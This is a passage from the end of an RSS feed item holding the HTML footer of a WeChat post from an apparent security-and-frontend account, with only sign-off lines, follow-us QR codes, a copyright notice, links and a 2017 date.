style="color:#231916;font-family:sans-serif">一起进步，</span></p><p class="shifubrush" style="text-align: left;"><span style="color: rgb(35, 25, 22); font-family: sans-serif;">一起创造~</span><br/></p><p class="shifubrush" style="text-align: left;"><span style="color:#231916;font-family:sans-serif">web世界会因你我而变得更加美好~</span></p><p class="shifubrush" style="text-align: left;"><span style="color:#231916;font-family:sans-serif"><br/></span></p><p class="shifubrush" style="text-align: center;"><img data-s="300,640" data-type="jpeg" data-w="440" data-ratio="0.5636363636363636" src="https://wechat2rss.xlab.app/img-proxy/?k=a877fd9d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9Bayz1pfU7b4DunH2aMyX2vRmytpXCmlKCGAkib9lZalswaoibH30uuLwGzTiaSymWwydNbYUv2nKQfJ6EA%2F0%3Fwx_fmt%3Djpeg"/><br/></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;">请长按下方二维码关注哦~                                                                    <br/></p><p><br/></p><section label="Copyright © 2016 playhudong All Rights Reserved." style="border-width: initial; border-style: none; border-color: initial; width: 20em; margin-right: auto; margin-left: auto;" donone="shifuMouseDownPayStyle(&#39;shifu_sig_022&#39;)"><section class="xhr" style="width:100%;
background:#F0F0F0;
overflow:hidden;
padding:0.8em 0em"><section style="width: 80%; margin-right: auto; margin-left: auto;"><section style="width:100%;
text-align:center;
border-bottom:1px solid #ddd;
font-size:1.2em;
padding-bottom:0.5em;"><p>安全&amp;前端</p></section><section style="width:100%;
text-align:center;
padding-top:0.5em;"><section style="width:40%;
display:inline-block;
vertical-align: top;
margin-right:1em;"><img data-w="258" style="width:100%;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170114-1484360660123013420.jpg" class="" data-type="jpeg" data-ratio="1" src="https://wechat2rss.xlab.app/img-proxy/?k=e36306d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9Bayz1pfU7b4DunH2aMyX2vRmyW7xIhiajpfC2ejw5q4AbTBibjx9khicOPmzgWskCXT3iayUUqafeeUeVNQ%2F0%3Fwx_fmt%3Djpeg"/></section><section style="width: 40%; display: inline-block; vertical-align: top; padding: 1em 0em 3em; background-image: url(&#34;http://mmbiz.qpic.cn/mmbiz_png/zoq1kN9Bayz1pfU7b4DunH2aMyX2vRmyicr6n8atjFwzib42485JffMxaSrlqEKdwKo8Mz1Shdj6ofcYsassE5eA/0?wx_fmt=png&#34;); background-repeat: no-repeat; background-size: 100%; color: rgb(114, 114, 114); font-size: 1em; line-height: 1.4em;" class=""><p>长按二维码<br/>关注我们</p></section></section></section></section></section><p><br/></p>



<p><a href="2247483659">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=330615ab&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDA4NzAyMQ%3D%3D%26mid%3D2247483659%26idx%3D1%26sn%3D0c4aa19a86dc30efd642542f03ae8800%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 14 Jan 2017 14:00:00 +0800</pubDate>
    </item>
  </channel>
</rss>